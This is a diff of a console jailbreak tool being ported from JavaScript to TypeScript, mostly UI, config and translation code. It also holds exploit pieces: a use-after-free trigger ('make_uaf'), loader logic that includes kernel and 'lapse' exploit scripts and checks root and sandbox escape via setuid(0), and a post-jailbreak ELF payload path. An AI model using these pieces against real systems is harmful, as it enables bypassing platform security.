@@ -73,10 +77,10 @@ if (typeof lang === 'undefined') {
})
jsmaf.root.children.push(logo)
var title = new jsmaf.Text()
const title = new jsmaf.Text()
title.text = lang.config
title.x = 910
title.y = 120
title.x = 20
title.y = 40
title.style = 'title'
jsmaf.root.children.push(title)
@@ -85,10 +89,10 @@ if (typeof lang === 'undefined') {
// Load and display stats
stats.load()
var statsData = stats.get()
const statsData = stats.get()
// Create text elements for each stat
var statsToDisplay = [
const statsToDisplay = [
lang.totalAttempts + statsData.total,
lang.successes + statsData.success,
lang.failures + statsData.failures,
@@ -97,32 +101,33 @@ if (typeof lang === 'undefined') {
]
// Display each stat line
for (var i = 0; i < statsToDisplay.length; i++) {
var lineText = new jsmaf.Text()
lineText.text = statsToDisplay[i]
for (let i = 0; i < statsToDisplay.length; i++) {
const lineText = new jsmaf.Text()
lineText.text = statsToDisplay[i]!
lineText.x = 20
lineText.y = 120 + (i * 20)
lineText.style = 'white'
jsmaf.root.children.push(lineText)
}
var configOptions = [
const configOptions = [
{ key: 'autolapse', label: lang.autoLapse, textImg: 'auto_lapse_btn_txt.png' },
{ key: 'autopoop', label: lang.autoPoop, textImg: 'auto_poop_btn_txt.png' },
{ key: 'autoclose', label: lang.autoClose, textImg: 'auto_close_btn_txt.png' }
]
var centerX = 960
var startY = 300
var buttonSpacing = 120
var buttonWidth = 400
var buttonHeight = 80
const centerX = 960
const startY = 300
const buttonSpacing = 120
const buttonWidth = 400
const buttonHeight = 80
for (var i = 0; i < configOptions.length; i++) {
var btnX = centerX - buttonWidth / 2
var btnY = startY + i * buttonSpacing
for (let i = 0; i < configOptions.length; i++) {
const configOption = configOptions[i]!
const btnX = centerX - buttonWidth / 2
const btnY = startY + i * buttonSpacing
var button = new Image({
const button = new Image({
url: normalButtonImg,
x: btnX,
y: btnY,
@@ -134,16 +139,17 @@ if (typeof lang === 'undefined') {
buttonMarkers.push(null)
var btnText = new jsmaf.Text()
btnText.text = configOptions[i].label
btnText.x = btnX + 30
btnText.y = btnY + 28
const btnText = new jsmaf.Text()
btnText.text = configOption.label
btnText.x = btnX + 20
btnText.y = btnY + 20
btnText.style = 'white'
jsmaf.root.children.push(btnText)
buttonTexts.push(btnText)
jsmaf.root.children.push(btnText)
var checkmark = new Image({
url: currentConfig[configOptions[i].key] ? 'file:///assets/img/check_small_on.png' : 'file:///assets/img/check_small_off.png',
const checkmark = new Image({
url: currentConfig[configOption.key as keyof typeof currentConfig] ? 'file:///assets/img/check_small_on.png' : 'file:///assets/img/check_small_off.png',
x: btnX + 320,
y: btnY + 20,
width: 40,
@@ -152,14 +158,14 @@ if (typeof lang === 'undefined') {
valueTexts.push(checkmark)
jsmaf.root.children.push(checkmark)
buttonOrigPos.push({x: btnX, y: btnY})
textOrigPos.push({x: btnText.x, y: btnText.y})
buttonOrigPos.push({ x: btnX, y: btnY })
textOrigPos.push({ x: btnText.x, y: btnText.y })
}
var backX = centerX - buttonWidth / 2
var backY = startY + configOptions.length * buttonSpacing + 100
const backX = centerX - buttonWidth / 2
const backY = startY + configOptions.length * buttonSpacing + 100
var backButton = new Image({
const backButton = new Image({
url: normalButtonImg,
x: backX,
y: backY,
@@ -169,7 +175,7 @@ if (typeof lang === 'undefined') {
buttons.push(backButton)
jsmaf.root.children.push(backButton)
var backMarker = new Image({
const backMarker = new Image({
url: 'file:///assets/img/ad_pod_marker.png',
x: backX + buttonWidth - 50,
y: backY + 35,
@@ -180,7 +186,7 @@ if (typeof lang === 'undefined') {
buttonMarkers.push(backMarker)
jsmaf.root.children.push(backMarker)
var backText = new jsmaf.Text()
const backText = new jsmaf.Text()
backText.text = lang.back
backText.x = backX + buttonWidth / 2 - 20
backText.y = backY + buttonHeight / 2 - 12
@@ -188,32 +194,32 @@ if (typeof lang === 'undefined') {
buttonTexts.push(backText)
jsmaf.root.children.push(backText)
buttonOrigPos.push({x: backX, y: backY})
textOrigPos.push({x: backText.x, y: backText.y})
buttonOrigPos.push({ x: backX, y: backY })
textOrigPos.push({ x: backText.x, y: backText.y })
var zoomInInterval = null
var zoomOutInterval = null
var prevButton = -1
let zoomInInterval: number | null = null
let zoomOutInterval: number | null = null
let prevButton = -1
function easeInOut (t) {
function easeInOut (t: number) {
return (1 - Math.cos(t * Math.PI)) / 2
}
function animateZoomIn (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) {
function animateZoomIn (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) {
if (zoomInInterval) jsmaf.clearInterval(zoomInInterval)
var btnW = buttonWidth
var btnH = buttonHeight
var startScale = btn.scaleX || 1.0
var endScale = 1.1
var duration = 175
var elapsed = 0
var step = 16
const btnW = buttonWidth
const btnH = buttonHeight
const startScale = btn.scaleX || 1.0
const endScale = 1.1
const duration = 175
let elapsed = 0
const step = 16
zoomInInterval = jsmaf.setInterval(function () {
elapsed += step
var t = Math.min(elapsed / duration, 1)
var eased = easeInOut(t)
var scale = startScale + (endScale - startScale) * eased
const t = Math.min(elapsed / duration, 1)
const eased = easeInOut(t)
const scale = startScale + (endScale - startScale) * eased
btn.scaleX = scale
btn.scaleY = scale
@@ -225,27 +231,27 @@ if (typeof lang === 'undefined') {
text.y = textOrigY - (btnH * (scale - 1)) / 2
if (t >= 1) {
jsmaf.clearInterval(zoomInInterval)
jsmaf.clearInterval(zoomInInterval ?? -1)
zoomInInterval = null
}
}, step)
}
function animateZoomOut (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) {
function animateZoomOut (btn: Image, text: jsmaf.Text, btnOrigX: number, btnOrigY: number, textOrigX: number, textOrigY: number) {
if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval)
var btnW = buttonWidth
var btnH = buttonHeight
var startScale = btn.scaleX || 1.1
var endScale = 1.0
var duration = 175
var elapsed = 0
var step = 16
const btnW = buttonWidth
const btnH = buttonHeight
const startScale = btn.scaleX || 1.1
const endScale = 1.0
const duration = 175
let elapsed = 0
const step = 16
zoomOutInterval = jsmaf.setInterval(function () {
elapsed += step
var t = Math.min(elapsed / duration, 1)
var eased = easeInOut(t)
var scale = startScale + (endScale - startScale) * eased
const t = Math.min(elapsed / duration, 1)
const eased = easeInOut(t)
const scale = startScale + (endScale - startScale) * eased
btn.scaleX = scale
btn.scaleY = scale
@@ -257,7 +263,7 @@ if (typeof lang === 'undefined') {
text.y = textOrigY - (btnH * (scale - 1)) / 2
if (t >= 1) {
jsmaf.clearInterval(zoomOutInterval)
jsmaf.clearInterval(zoomOutInterval ?? -1)
zoomOutInterval = null
}
}, step)
@@ -265,57 +271,68 @@ if (typeof lang === 'undefined') {
function updateHighlight () {
// Animate out the previous button
if (prevButton >= 0 && prevButton !== currentButton) {
buttons[prevButton].url = normalButtonImg
buttons[prevButton].alpha = 0.7
buttons[prevButton].borderColor = 'transparent'
buttons[prevButton].borderWidth = 0
if (buttonMarkers[prevButton]) buttonMarkers[prevButton].visible = false
animateZoomOut(buttons[prevButton], buttonTexts[prevButton], buttonOrigPos[prevButton].x, buttonOrigPos[prevButton].y, textOrigPos[prevButton].x, textOrigPos[prevButton].y)
const prevButtonObj = buttons[prevButton]
const buttonMarker = buttonMarkers[prevButton]
if (prevButton >= 0 && prevButton !== currentButton && prevButtonObj) {
prevButtonObj.url = normalButtonImg
prevButtonObj.alpha = 0.7
prevButtonObj.borderColor = 'transparent'
prevButtonObj.borderWidth = 0
if (buttonMarker) buttonMarker.visible = false
animateZoomOut(prevButtonObj, buttonTexts[prevButton]!, buttonOrigPos[prevButton]!.x, buttonOrigPos[prevButton]!.y, textOrigPos[prevButton]!.x, textOrigPos[prevButton]!.y)
}
// Set styles for all buttons
for (var i = 0; i < buttons.length; i++) {
for (let i = 0; i < buttons.length; i++) {
const button = buttons[i]
const buttonMarker = buttonMarkers[i]
const buttonText = buttonTexts[i]
const buttonOrigPos_ = buttonOrigPos[i]
const textOrigPos_ = textOrigPos[i]
if (button === undefined || buttonText === undefined || buttonOrigPos_ === undefined || textOrigPos_ === undefined) continue
if (i === currentButton) {
buttons[i].url = selectedButtonImg
buttons[i].alpha = 1.0
buttons[i].borderColor = 'rgb(100,180,255)'
buttons[i].borderWidth = 3
if (buttonMarkers[i]) buttonMarkers[i].visible = true
animateZoomIn(buttons[i], buttonTexts[i], buttonOrigPos[i].x, buttonOrigPos[i].y, textOrigPos[i].x, textOrigPos[i].y)
button.url = selectedButtonImg
button.alpha = 1.0
button.borderColor = 'rgb(100,180,255)'
button.borderWidth = 3
if (buttonMarker) buttonMarker.visible = true
animateZoomIn(button, buttonText, buttonOrigPos_.x, buttonOrigPos_.y, textOrigPos_.x, textOrigPos_.y)
} else if (i !== prevButton) {
buttons[i].url = normalButtonImg
buttons[i].alpha = 0.7
buttons[i].borderColor = 'transparent'
buttons[i].borderWidth = 0
buttons[i].scaleX = 1.0
buttons[i].scaleY = 1.0
buttons[i].x = buttonOrigPos[i].x
buttons[i].y = buttonOrigPos[i].y
buttonTexts[i].scaleX = 1.0
buttonTexts[i].scaleY = 1.0
buttonTexts[i].x = textOrigPos[i].x
buttonTexts[i].y = textOrigPos[i].y
if (buttonMarkers[i]) buttonMarkers[i].visible = false
button.url = normalButtonImg
button.alpha = 0.7
button.borderColor = 'transparent'
button.borderWidth = 0
button.scaleX = 1.0
button.scaleY = 1.0
button.x = buttonOrigPos_.x
button.y = buttonOrigPos_.y
buttonText.scaleX = 1.0
buttonText.scaleY = 1.0
buttonText.x = textOrigPos_.x
buttonText.y = textOrigPos_.y
if (buttonMarker) buttonMarker.visible = false
}
}
prevButton = currentButton
}
function updateValueText (index) {
var key = configOptions[index].key
var value = currentConfig[key]
valueTexts[index].url = value ? 'file:///assets/img/check_small_on.png' : 'file:///assets/img/check_small_off.png'
function updateValueText (index: number) {
const options = configOptions[index]
const valueText = valueTexts[index]
if (!options || !valueText) return
const key = options.key
const value = currentConfig[key as keyof typeof currentConfig]
valueText.url = value ? 'file:///assets/img/check_small_on.png' : 'file:///assets/img/check_small_off.png'
}
function saveConfig () {
var configContent = 'var CONFIG = {\n'
let configContent = 'const CONFIG = {\n'
configContent += ' autolapse: ' + currentConfig.autolapse + ', \n'
configContent += ' autopoop: ' + currentConfig.autopoop + ',\n'
configContent += ' autoclose: ' + currentConfig.autoclose + '\n'
configContent += '};\n\n'
configContent += 'var payloads = [ //to be ran after jailbroken\n'
configContent += 'const payloads = [ //to be ran after jailbroken\n'
configContent += ' "/mnt/sandbox/download/CUSA00960/payloads/aiofix_network.elf"\n'
configContent += '];\n'
@@ -329,26 +346,26 @@ if (typeof lang === 'undefined') {
}
function loadConfig () {
fs.read('config.js', function (err, data) {
fs.read('config.js', function (err: Error | null, data?: string) {
if (err) {
log('ERROR: Failed to read config: ' + err.message)
return
}
try {
eval(data) // eslint-disable-line no-eval
eval(data || '') // eslint-disable-line no-eval
if (typeof CONFIG !== 'undefined') {
currentConfig.autolapse = CONFIG.autolapse || false
currentConfig.autopoop = CONFIG.autopoop || false
currentConfig.autoclose = CONFIG.autoclose || false
for (var i = 0; i < configOptions.length; i++) {
for (let i = 0; i < configOptions.length; i++) {
updateValueText(i)
}
log('Config loaded successfully')
}
} catch (e) {
log('ERROR: Failed to parse config: ' + e.message)
log('ERROR: Failed to parse config: ' + (e as Error).message)
}
})
}
@@ -359,16 +376,16 @@ if (typeof lang === 'undefined') {
try {
include('main-menu.js')
} catch (e) {
log('ERROR loading main-menu.js: ' + e.message)
log('ERROR loading main-menu.js: ' + (e as Error).message)
}
} else if (currentButton < configOptions.length) {
var key = configOptions[currentButton].key
currentConfig[key] = !currentConfig[key]
const key = configOptions[currentButton]!.key
currentConfig[key as keyof typeof currentConfig] = !currentConfig[key as keyof typeof currentConfig]
if (key === 'autolapse' && currentConfig[key] === true) {
currentConfig.autopoop = false
for (var i = 0; i < configOptions.length; i++) {
if (configOptions[i].key === 'autopoop') {
for (let i = 0; i < configOptions.length; i++) {
if (configOptions[i]!.key === 'autopoop') {
updateValueText(i)
break
}
@@ -376,8 +393,8 @@ if (typeof lang === 'undefined') {
log('autopoop disabled (autolapse enabled)')
} else if (key === 'autopoop' && currentConfig[key] === true) {
currentConfig.autolapse = false
for (var i = 0; i < configOptions.length; i++) {
if (configOptions[i].key === 'autolapse') {
for (let i = 0; i < configOptions.length; i++) {
if (configOptions[i]!.key === 'autolapse') {
updateValueText(i)
break
}
@@ -385,7 +402,7 @@ if (typeof lang === 'undefined') {
log('autolapse disabled (autopoop enabled)')
}
log(key + ' = ' + currentConfig[key])
log(key + ' = ' + currentConfig[key as keyof typeof currentConfig])
updateValueText(currentButton)
saveConfig()
}
@@ -405,7 +422,7 @@ if (typeof lang === 'undefined') {
try {
include('main-menu.js')
} catch (e) {
log('ERROR loading main-menu.js: ' + e.message)
log('ERROR loading main-menu.js: ' + (e as Error).message)
}
}
}
+8 -4
View File
@@ -1,7 +1,11 @@
function make_uaf (arr) {
var o = {}
for (var i in { xx: '' }) {
for (i of [arr]) {} // eslint-disable-line no-empty
import { struct } from './types'
export function make_uaf (arr: DataView) {
const o = {}
for (let i in { xx: '' }) {
// @ts-expect-error need to confuse variable i
for (i of [arr]);
// @ts-expect-error need to access it as well
o[i]
}
}
File diff suppressed because it is too large Load Diff
@@ -1,9 +1,27 @@
// Language translations
// Detected locale: jsmaf.locale
var lang = {}
export const lang = {
jailbreak: 'Jailbreak',
payloadMenu: 'Payload Menu',
config: 'Config',
exit: 'Exit',
back: 'Back',
autoLapse: 'Auto Lapse',
autoPoop: 'Auto Poop',
autoClose: 'Auto Close',
totalAttempts: 'Total Attempts: ',
successes: 'Successes: ',
failures: 'Failures: ',
successRate: 'Success Rate: ',
failureRate: 'Failure Rate: ',
loadingMainMenu: 'Loading main menu...',
mainMenuLoaded: 'Main menu loaded',
loadingConfig: 'Loading config UI...',
configLoaded: 'Config UI loaded'
}
var detectedLocale = jsmaf.locale || 'en'
const detectedLocale = jsmaf.locale || 'en'
log('Detected locale: ' + detectedLocale)
switch (detectedLocale) {
@@ -27,69 +45,69 @@ switch (detectedLocale) {
lang.loadingConfig = 'Cargando configuracion...'
lang.configLoaded = 'Configuracion cargada'
break
//vue doesnt have these locales in the fonts for asian and arabic languages. need to figure out how to load custom font . please reference /app0/assets/font/ for examples
//~ case 'ar':
//~ // Arabic
//~ lang.jailbreak = 'Jailbreak'
//~ lang.payloadMenu = 'قائمة الحمولات'
//~ lang.config = 'الاعدادات'
//~ lang.exit = 'خروج'
//~ lang.back = 'رجوع'
//~ lang.autoLapse = 'Auto Lapse'
//~ lang.autoPoop = 'Auto Poop'
//~ lang.autoClose = 'اغلاق تلقائي'
//~ lang.totalAttempts = 'اجمالي المحاولات: '
//~ lang.successes = 'النجاحات: '
//~ lang.failures = 'الاخفاقات: '
//~ lang.successRate = 'معدل النجاح: '
//~ lang.failureRate = 'معدل الفشل: '
//~ lang.loadingMainMenu = '...جاري تحميل القائمة الرئيسية'
//~ lang.mainMenuLoaded = 'تم تحميل القائمة الرئيسية'
//~ lang.loadingConfig = '...جاري تحميل الاعدادات'
//~ lang.configLoaded = 'تم تحميل الاعدادات'
//~ break
// vue doesnt have these locales in the fonts for asian and arabic languages. need to figure out how to load custom font . please reference /app0/assets/font/ for examples
// ~ case 'ar':
// ~ // Arabic
// ~ lang.jailbreak = 'Jailbreak'
// ~ lang.payloadMenu = 'قائمة الحمولات'
// ~ lang.config = 'الاعدادات'
// ~ lang.exit = 'خروج'
// ~ lang.back = 'رجوع'
// ~ lang.autoLapse = 'Auto Lapse'
// ~ lang.autoPoop = 'Auto Poop'
// ~ lang.autoClose = 'اغلاق تلقائي'
// ~ lang.totalAttempts = 'اجمالي المحاولات: '
// ~ lang.successes = 'النجاحات: '
// ~ lang.failures = 'الاخفاقات: '
// ~ lang.successRate = 'معدل النجاح: '
// ~ lang.failureRate = 'معدل الفشل: '
// ~ lang.loadingMainMenu = '...جاري تحميل القائمة الرئيسية'
// ~ lang.mainMenuLoaded = 'تم تحميل القائمة الرئيسية'
// ~ lang.loadingConfig = '...جاري تحميل الاعدادات'
// ~ lang.configLoaded = 'تم تحميل الاعدادات'
// ~ break
//~ case 'ko':
//~ // Korean
//~ lang.jailbreak = '탈옥'
//~ lang.payloadMenu = '페이로드 메뉴'
//~ lang.config = '설정'
//~ lang.exit = '종료'
//~ lang.back = '뒤로'
//~ lang.autoLapse = '자동 Lapse'
//~ lang.autoPoop = '자동 Poop'
//~ lang.autoClose = '자동 닫기'
//~ lang.totalAttempts = '총 시도: '
//~ lang.successes = '성공: '
//~ lang.failures = '실패: '
//~ lang.successRate = '성공률: '
//~ lang.failureRate = '실패율: '
//~ lang.loadingMainMenu = '메인 메뉴 로딩중...'
//~ lang.mainMenuLoaded = '메인 메뉴 로딩 완료'
//~ lang.loadingConfig = '설정 로딩중...'
//~ lang.configLoaded = '설정 로딩 완료'
//~ break
// ~ case 'ko':
// ~ // Korean
// ~ lang.jailbreak = '탈옥'
// ~ lang.payloadMenu = '페이로드 메뉴'
// ~ lang.config = '설정'
// ~ lang.exit = '종료'
// ~ lang.back = '뒤로'
// ~ lang.autoLapse = '자동 Lapse'
// ~ lang.autoPoop = '자동 Poop'
// ~ lang.autoClose = '자동 닫기'
// ~ lang.totalAttempts = '총 시도: '
// ~ lang.successes = '성공: '
// ~ lang.failures = '실패: '
// ~ lang.successRate = '성공률: '
// ~ lang.failureRate = '실패율: '
// ~ lang.loadingMainMenu = '메인 메뉴 로딩중...'
// ~ lang.mainMenuLoaded = '메인 메뉴 로딩 완료'
// ~ lang.loadingConfig = '설정 로딩중...'
// ~ lang.configLoaded = '설정 로딩 완료'
// ~ break
//~ case 'ja':
//~ // Japanese
//~ lang.jailbreak = '脱獄'
//~ lang.payloadMenu = 'ペイロードメニュー'
//~ lang.config = '設定'
//~ lang.exit = '終了'
//~ lang.back = '戻る'
//~ lang.autoLapse = '自動Lapse'
//~ lang.autoPoop = '自動Poop'
//~ lang.autoClose = '自動終了'
//~ lang.totalAttempts = '試行回数: '
//~ lang.successes = '成功: '
//~ lang.failures = '失敗: '
//~ lang.successRate = '成功率: '
//~ lang.failureRate = '失敗率: '
//~ lang.loadingMainMenu = 'メインメニュー読み込み中...'
//~ lang.mainMenuLoaded = 'メインメニュー読み込み完了'
//~ lang.loadingConfig = '設定読み込み中...'
//~ lang.configLoaded = '設定読み込み完了'
//~ break
// ~ case 'ja':
// ~ // Japanese
// ~ lang.jailbreak = '脱獄'
// ~ lang.payloadMenu = 'ペイロードメニュー'
// ~ lang.config = '設定'
// ~ lang.exit = '終了'
// ~ lang.back = '戻る'
// ~ lang.autoLapse = '自動Lapse'
// ~ lang.autoPoop = '自動Poop'
// ~ lang.autoClose = '自動終了'
// ~ lang.totalAttempts = '試行回数: '
// ~ lang.successes = '成功: '
// ~ lang.failures = '失敗: '
// ~ lang.successRate = '成功率: '
// ~ lang.failureRate = '失敗率: '
// ~ lang.loadingMainMenu = 'メインメニュー読み込み中...'
// ~ lang.mainMenuLoaded = 'メインメニュー読み込み完了'
// ~ lang.loadingConfig = '設定読み込み中...'
// ~ lang.configLoaded = '設定読み込み完了'
// ~ break
case 'pt':
// Portuguese
@@ -240,24 +258,7 @@ switch (detectedLocale) {
case 'en':
default:
// English (default)
lang.jailbreak = 'Jailbreak'
lang.payloadMenu = 'Payload Menu'
lang.config = 'Config'
lang.exit = 'Exit'
lang.back = 'Back'
lang.autoLapse = 'Auto Lapse'
lang.autoPoop = 'Auto Poop'
lang.autoClose = 'Auto Close'
lang.totalAttempts = 'Total Attempts: '
lang.successes = 'Successes: '
lang.failures = 'Failures: '
lang.successRate = 'Success Rate: '
lang.failureRate = 'Failure Rate: '
lang.loadingMainMenu = 'Loading main menu...'
lang.mainMenuLoaded = 'Main menu loaded'
lang.loadingConfig = 'Loading config UI...'
lang.configLoaded = 'Config UI loaded'
// English (default) which is already set
break
}
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
@@ -1,3 +1,10 @@
import { libc_addr } from 'download0/userland'
import { stats } from 'download0/stats-tracker'
import { fn, mem, BigInt, utils } from 'download0/types'
import { sysctlbyname } from 'download0/kernel'
import { lapse } from 'download0/lapse'
import { binloader_init } from 'download0/binloader'
// Load binloader first (just defines the function, doesn't execute)
// Now load userland and lapse
@@ -8,48 +15,45 @@ if (typeof libc_addr === 'undefined') {
include('stats-tracker.js')
include('binloader.js')
include('lapse.js')
include('kernel.js')
// Increment total attempts
stats.load()
function show_success () {
export function show_success () {
jsmaf.root.children.push(bg_success)
log('Logging Success...')
stats.incrementSuccess()
}
var audio = new jsmaf.AudioClip()
const audio = new jsmaf.AudioClip()
audio.volume = 0.5 // 50% volume
audio.open('file://../download0/sfx/bgm.wav')
function isJailbroken () {
// Register syscalls
try { fn.register(24, 'getuid', 'bigint') } catch (e) {}
try { fn.register(23, 'setuid', 'bigint') } catch (e) {}
fn.register(24, 'getuid', [], 'bigint')
fn.register(23, 'setuid', ['number'], 'bigint')
// Get current UID
var uid_before = fn.getuid()
var uid_before_val = (uid_before instanceof BigInt) ? uid_before.lo : uid_before
const uid_before = fn.getuid()
const uid_before_val = (uid_before instanceof BigInt) ? uid_before.lo : uid_before
log('UID before setuid: ' + uid_before_val)
// Try to set UID to 0 (root) - catch EPERM if not jailbroken
log('Attempting setuid(0)...')
var setuid_success = false
var error_msg = null
try {
var setuid_result = fn.setuid(0)
var setuid_ret = (setuid_result instanceof BigInt) ? setuid_result.lo : setuid_result
const setuid_result = fn.setuid(0)
const setuid_ret = (setuid_result instanceof BigInt) ? setuid_result.lo : setuid_result
log('setuid returned: ' + setuid_ret)
setuid_success = (setuid_ret === 0)
} catch (e) {
error_msg = e.toString()
log('setuid threw exception: ' + error_msg)
log('setuid threw exception: ' + (e as Error).toString())
}
// Get UID after setuid attempt
var uid_after = fn.getuid()
var uid_after_val = (uid_after instanceof BigInt) ? uid_after.lo : uid_after
const uid_after = fn.getuid()
const uid_after_val = (uid_after instanceof BigInt) ? uid_after.lo : uid_after
log('UID after setuid: ' + uid_after_val)
if (uid_after_val === 0) {
@@ -61,68 +65,39 @@ function isJailbroken () {
}
}
var is_jailbroken = isJailbroken()
const is_jailbroken = isJailbroken()
// Check if exploit has completed successfully
function is_exploit_complete () {
// Check if we're actually jailbroken
if (typeof getuid !== 'undefined' && typeof is_in_sandbox !== 'undefined') {
try {
var uid = getuid()
var sandbox = is_in_sandbox()
// Should be root (uid=0) and not sandboxed (0)
if (!uid.eq(0) || !sandbox.eq(0)) {
return false
}
} catch (e) {
fn.register(24, 'getuid', [], 'bigint')
fn.register(585, 'is_in_sandbox', [], 'bigint')
try {
const uid = fn.getuid()
const sandbox = fn.is_in_sandbox()
// Should be root (uid=0) and not sandboxed (0)
if (!uid.eq(0) || !sandbox.eq(0)) {
return false
}
} catch (e) {
return false
}
return true
}
function write8 (addr, val) {
mem.view(addr).setUint8(0, val & 0xFF, true)
}
function write16 (addr, val) {
mem.view(addr).setUint16(0, val & 0xFFFF, true)
}
function write32 (addr, val) {
mem.view(addr).setUint32(0, val & 0xFFFFFFFF, true)
}
function write64 (addr, val) {
function write64 (addr: BigInt, val: BigInt | number) {
mem.view(addr).setBigInt(0, new BigInt(val), true)
}
function read8 (addr) {
return mem.view(addr).getUint8(0, true)
function read8 (addr: BigInt) {
return mem.view(addr).getUint8(0)
}
function read16 (addr) {
return mem.view(addr).getUint16(0, true)
}
function read32 (addr) {
return mem.view(addr).getUint32(0, true)
}
function read64 (addr) {
return mem.view(addr).getBigInt(0, true)
}
function malloc (size) {
function malloc (size: number) {
return mem.malloc(size)
}
function hex (val) {
if (val instanceof BigInt) { return val.toString() }
return '0x' + val.toString(16).padStart(2, '0')
}
function get_fwversion () {
const buf = malloc(0x8)
const size = malloc(0x8)
@@ -138,15 +113,20 @@ function get_fwversion () {
return null
}
FW_VERSION = get_fwversion()
const FW_VERSION: string | null = get_fwversion()
function compare_version (a, b) {
if (FW_VERSION === null) {
log('ERROR: Failed to determine FW version')
throw new Error('Failed to determine FW version')
}
const compare_version = (a: string, b: string) => {
const a_arr = a.split('.')
const amaj = a_arr[0]
const amin = a_arr[1]
const amaj = Number(a_arr[0])
const amin = Number(a_arr[1])
const b_arr = b.split('.')
const bmaj = b_arr[0]
const bmin = b_arr[1]
const bmaj = Number(b_arr[0])
const bmin = Number(b_arr[1])
return amaj === bmaj ? amin - bmin : amaj - bmaj
}
@@ -169,12 +149,12 @@ if (!is_jailbroken) {
include('netctrl_c0w_twins.js')
}
var start_time = Date.now()
var max_wait_seconds = 5
var max_wait_ms = max_wait_seconds * 1000
const start_time = Date.now()
const max_wait_seconds = 5
const max_wait_ms = max_wait_seconds * 1000
while (!is_exploit_complete()) {
var elapsed = Date.now() - start_time
const elapsed = Date.now() - start_time
if (elapsed > max_wait_ms) {
log('ERROR: Timeout waiting for exploit to complete (' + max_wait_seconds + ' seconds)')
@@ -182,13 +162,13 @@ if (!is_jailbroken) {
}
// Poll every 500ms
var poll_start = Date.now()
const poll_start = Date.now()
while (Date.now() - poll_start < 500) {
// Busy wait
}
}
show_success()
var total_wait = ((Date.now() - start_time) / 1000).toFixed(1)
const total_wait = ((Date.now() - start_time) / 1000).toFixed(1)
log('Exploit completed successfully after ' + total_wait + ' seconds')
} else {
utils.notify('Already Jailbroken!')
@@ -203,10 +183,10 @@ try {
log('Starting AIO FIX...')
} catch (e) {
log('ERROR: Failed to initialize binloader')
log('Error message: ' + e.message)
log('Error name: ' + e.name)
if (e.stack) {
log('Stack trace: ' + e.stack)
log('Error message: ' + (e as Error).message)
log('Error name: ' + (e as Error).name)
if ((e as Error).stack) {
log('Stack trace: ' + (e as Error).stack)
}
throw e
}
-292
View File
@@ -1,292 +0,0 @@
(function () {
include('languages.js')
log(lang.loadingMainMenu)
var currentButton = 0
var buttons = []
var buttonTexts = []
var buttonMarkers = []
var buttonOrigPos = []
var textOrigPos = []
var normalButtonImg = 'file:///assets/img/button_over_9.png'
var selectedButtonImg = 'file:///assets/img/button_over_9.png'
jsmaf.root.children.length = 0
new Style({name: 'white', color: 'white', size: 24})
new Style({name: 'title', color: 'white', size: 32})
var audio = new jsmaf.AudioClip()
audio.volume = 0.5 // 50% volume
audio.open('file://../download0/sfx/bgm.wav')
var background = new Image({
url: 'file:///../download0/img/multiview_bg_VAF.png',
x: 0,
y: 0,
width: 1920,
height: 1080
})
jsmaf.root.children.push(background)
var centerX = 960
var logoWidth = 600
var logoHeight = 338
var logo = new Image({
url: 'file:///../download0/img/logo.png',
x: centerX - logoWidth / 2,
y: 50,
width: logoWidth,
height: logoHeight
})
jsmaf.root.children.push(logo)
var menuOptions = [
{ label: lang.jailbreak, script: 'loader.js', textImg: 'jailbreak_btn_txt.png' },
{ label: lang.payloadMenu, script: 'payload_host.js', textImg: 'pl_menu_btn_txt.png' },
{ label: lang.config, script: 'config_ui.js', textImg: 'config_btn_txt.png' }
]
var startY = 450
var buttonSpacing = 120
var buttonWidth = 400
var buttonHeight = 80
for (var i = 0; i < menuOptions.length; i++) {
var btnX = centerX - buttonWidth / 2
var btnY = startY + i * buttonSpacing
var button = new Image({
url: normalButtonImg,
x: btnX,
y: btnY,
width: buttonWidth,
height: buttonHeight
})
buttons.push(button)
jsmaf.root.children.push(button)
var marker = new Image({
url: 'file:///assets/img/ad_pod_marker.png',
x: btnX + buttonWidth - 50,
y: btnY + 35,
width: 12,
height: 12,
visible: false
})
buttonMarkers.push(marker)
jsmaf.root.children.push(marker)
var btnText = new jsmaf.Text()
btnText.text = menuOptions[i].label
btnText.x = btnX + buttonWidth / 2 - 60
btnText.y = btnY + buttonHeight / 2 - 12
btnText.style = 'white'
buttonTexts.push(btnText)
jsmaf.root.children.push(btnText)
buttonOrigPos.push({x: btnX, y: btnY})
textOrigPos.push({x: btnText.x, y: btnText.y})
}
var exitX = centerX - buttonWidth / 2
var exitY = startY + menuOptions.length * buttonSpacing + 100
var exitButton = new Image({
url: normalButtonImg,
x: exitX,
y: exitY,
width: buttonWidth,
height: buttonHeight
})
buttons.push(exitButton)
jsmaf.root.children.push(exitButton)
var exitMarker = new Image({
url: 'file:///assets/img/ad_pod_marker.png',
x: exitX + buttonWidth - 50,
y: exitY + 35,
width: 12,
height: 12,
visible: false
})
buttonMarkers.push(exitMarker)
jsmaf.root.children.push(exitMarker)
var exitText = new jsmaf.Text()
exitText.text = lang.exit
exitText.x = exitX + buttonWidth / 2 - 20
exitText.y = exitY + buttonHeight / 2 - 12
exitText.style = 'white'
buttonTexts.push(exitText)
jsmaf.root.children.push(exitText)
buttonOrigPos.push({x: exitX, y: exitY})
textOrigPos.push({x: exitText.x, y: exitText.y})
var zoomInInterval = null
var zoomOutInterval = null
var prevButton = -1
function easeInOut (t) {
return (1 - Math.cos(t * Math.PI)) / 2
}
function animateZoomIn (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) {
if (zoomInInterval) jsmaf.clearInterval(zoomInInterval)
var btnW = buttonWidth
var btnH = buttonHeight
var startScale = btn.scaleX || 1.0
var endScale = 1.1
var duration = 175
var elapsed = 0
var step = 16
zoomInInterval = jsmaf.setInterval(function () {
elapsed += step
var t = Math.min(elapsed / duration, 1)
var eased = easeInOut(t)
var scale = startScale + (endScale - startScale) * eased
btn.scaleX = scale
btn.scaleY = scale
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
text.scaleX = scale
text.scaleY = scale
text.x = textOrigX - (btnW * (scale - 1)) / 2
text.y = textOrigY - (btnH * (scale - 1)) / 2
if (t >= 1) {
jsmaf.clearInterval(zoomInInterval)
zoomInInterval = null
}
}, step)
}
